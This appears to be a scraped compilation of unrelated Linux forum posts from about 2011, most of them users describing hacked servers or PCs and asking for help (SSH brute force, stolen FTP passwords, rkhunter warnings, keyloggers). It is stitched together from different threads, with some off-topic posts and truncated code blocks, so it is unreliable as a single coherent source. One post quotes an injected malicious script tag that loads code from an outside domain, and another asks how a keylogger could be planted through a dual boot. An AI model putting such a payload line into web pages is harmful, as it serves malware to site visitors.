Security :: Server Hacked By Opyum?
Apr 11, 2011
Awoke to millions of failed SSH attempts into my public server. Behind a firewall which forwards only SSH and HTTP. Local iptables deny everything except SSH and HTTP. Exact same symptoms and results as Chris over at his site: here.I just want to know how they managed to execute a script, or make changes etc? Here's some info:According to cat /var/log/secure | grep "Accepted" no one besides myself gained entry via SSH.The FTP account (500:48 (Purposely in apache group)) is chrooted to a 775 directory and vsftpd does not accept anonymous entry. vsftpd and xferlog's are empty?
Code:
You have new mail in /var/spool/mail/root
[root@dev etc]# tail /var/spool/mail/root

I always use professional services to secure my servers. Everything was fine for years but a week ago my server got hacked.I don't know how the hacker got my username/password - it was not something like admin, password.9 months ago my PC was infected with some virus which connected to the FTP server by using password which was saved in CuteFTP and infected all index files with some javascript. Then I changed the user/FTP password and didn't save it anymore in Cute FTP. Of course, I checked all the folders and re-uploaded all infected files. Is it possible that this virus uploaded some hidden file which was able to get the new password for this account?
The server was hacked from so called Tor IP address. I am tiref of worrying about server security and now have an idea to get a static IP address from my ISP and to allow logins only from this IP address. What do you think about it? This idea looks good for me but are there any risks to lose access to the server. Can ISP provider change the static IP address for some reason?

My server (Ubuntu 10.04 desktop) was hacked. I had my ethernet plugged in to an Intel 82557 Ethernet Pro card (Pulse) when my server was first attacked. After it was attacked I reinstalled the system but my ethernet card still would not work. Ubuntu recognized it, but it is continually disconnected and the little status lights on the card do not light up anymore.
So then I plugged the ethernet to the mother board itself. Well, my server was hacked again and now the ethernet on the motherboard does not work. Again, Ubuntu (after a reinstall) recognizes the hardware but nothing happens when I plug the etherent in. The motherboard is a BioStar P4M900 VIA chipset. I have a few of the system logs here [URL] which I saved right after the first attack.

I just got control over a server that was hacked several months back. The other day we started receiving rejected emails sent from my server to a yahoo email address that is no longer active that contained users login information. I am trying to find the process that is sending these emails. So far its been like finding a needle in a haystack. The email that is being sent is appending the login information each time it is sent so there must be a local file that contains this information. I have tried using grep and find without any luck.

I have a 6yo laptop...z60m. Solid little thing that I knocked around so much the hinge broke. My dad jerryrigged it so it can stay open.
So now I use it as a glorified DVD player. Then, around February the hard drive died. I put it in fresh, loaded a couple of regular games and the DVD modifications to play DVD's. So, besides the basic upgrade to 9.1 not much as been done.
Well, last week my panel disappeared. I procrastinated and last night I got on the computer. I did F2 and "xfce-panel" and my panel reappeared exactly how I'd last tweaked it.
With on exception. This blue globe, "Akonadi" had mysteriously appeared.
Thing is that I haven't installed or updated anything for 8 months...why? becuase I haven't had this thing connected to the Internet. The wireless tower has been on. (my bad) but all of the signigals in my neck of the wood are encripted so I just let it be.
I don't know where this program came from. Is it loaded in xubuntu? Why would it show up? And furthermore if there was someone with malicious intent (unfortunatly I do have to take that into consideration) have put this on for data collection?

I had a serious breach of the cellular segment of my communications network this week. All I can say is nobody got hurt. The attackers also knew where to find me via email. I'm concerned that perhaps they've penetrated this aspect of my system as well, although they seemed pretty specifically focused on the phone. There have been no changes on anything on my computer, and of course, I went ahead and changed all the passwords. How can I verify or at least look into the possibility of having been hacked as well.

my computer has been surely hacked for at least more than two months; my private information are being hacked and spread around! I initally used Windows Vista and I had the firewall off and no antivirus software. When I realized that my OS had been hacked, I began turning my firewall on and installing security softwares, but nothing stopped the hack.
Yesterday, I erased all my partitions and installed Ubuntu 10.10. I installed rkhunter and a firewall. I changed my static IP adress, at least for the sake of knowledge, to another one, then I got disconnected since my router only allows my old IP.
When I'm about to write my admin password, I disconnect from the network. I've scanned my system using rkhunter, and the result is a list of 30 suspicious files!
Can I adjust my router in a way that it can allow any IP adress? If yes, can I have a non-static IP adress? How to prevent the hacking in the first place? However, I believe, I don't know yet, that my Ubuntu has also been hacked...
If I can't get rid of the hacker(s), then I should permanently disconnect from internet and find another way to receive information anonymously through the internet.

A scan on my computer reported as up many local ips which simply does not exist in my network. This host is supposed to have ip 192.168.0.4, but all other ip should not be there. I have a USB modem connected to a Linux box, connected itselfs to a wifi linksys router and thats it.
# nmap -sP '192.168.*.*' | grep -v down
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2010-11-18 21:46 CET

I need to know whether Ubuntu can be hacked when it is installed as a dual boot with W7 by hacking windows and getting access to the Ubuntu partition?
What I would also like to know if this way can be used to put a key logger or screen capture in Ubuntu which installs next time Ubuntu is started?

I believe it is a keylogger because my Facebook account has been hacked, I believe my email has as well. I heard that even if you reformat a harddrive, the virus could still sit there and apparently that is what happened to me. how to be rid of it and keep my security. I installed RKhunter and Chkrootkit. Rkhunter reports warning files while checking my filesystem. I can post a log if need be.

I just got an email from google saying my site contained malware. It has a line in it: "<script src='http://whitepix.info/3'></script>". I've noticed its recursively in all my .html and .txt files in my website. Can I make a linux script to run that will go through all my .html and txt files recursively and delete that line from them? I don't know how it got in all of them.

Let me start by saying its a school assignment, and therefore not a real world situation. Nevertheless, I would appreciate any help I can get.The company ProvidIT has contacted us, their website has been hacked. Instead of their normal website, it shows Buy creditcard details online, click here (cc4u.jpg). A classical defacement.The following offenses also might have been committed. So its our job to find evidence for those offences.(I had to translate the Dutch law articles, so they might not be 100% acurate legally speaking, but you get the idea)
- Unlawfully accessing automated systems
- Copy or tap (eavesdrop) data after hacking
- Unlawfully access or use system resources of a 3rd party computer

I am sick to the back teeth of fedora 11 Every time I try and run yum for any install at all it just keeps saying segment fault. When I have tried installing mysql it keeps coming up with the same fault yet again segment fault. I even get this stupid error when trying to install postgresql:
[Code]...
Its got nothing to do with my connection at all keeps happening at home, work when I use my vmWare server, I have a netinstall of FC10 so I am going back to that.
If anyone can help me in using a better method of making yum work, then thats brilliant but one final try and one error I am going back, this is a major rant as I am working for clients now and this just isnt suitable, if FC10 does this then I am going to a different dist like CentOS or something more robust as this is just rediculous!

for a while I?ve seen hundreds of attempts via ssh against my system. They finally stop and this could mean only two things my security measures are working "NOT" or they actually got in. In any case browsing around my system for suspicious changes I found a file"agent.4015" on my tmp folder. This file denies read privileges to root and I?m afraid to chmod until I know for sure what it is.

Has anyone hacked/installed Ubuntu on the Nokia N900 and/or Android phone? MeeGo is coming very close to a full desktop distro. I am very curious to see what sort of performance Ubuntu (or something lighter like Lubuntu) exhibits on a mobile device.

I'm concerned about security of having a LAMP server on my laptop as having any server makes the system less secure. However, if I were to create a new partition and install a lamp server on that and only use it when offline, would the security of my main partition be affected at all?

I've recently been running a game server from my desktop, as well as a web page to accompany it.I use the ports 80/8123(HTTP)/5900(VNC)/50500(GAME)/5839(ADMINISTRATION).What's the best solution to protect my server from security threats? On a side note, I plan on adding a MySQL server later, but I want to keep it local only.
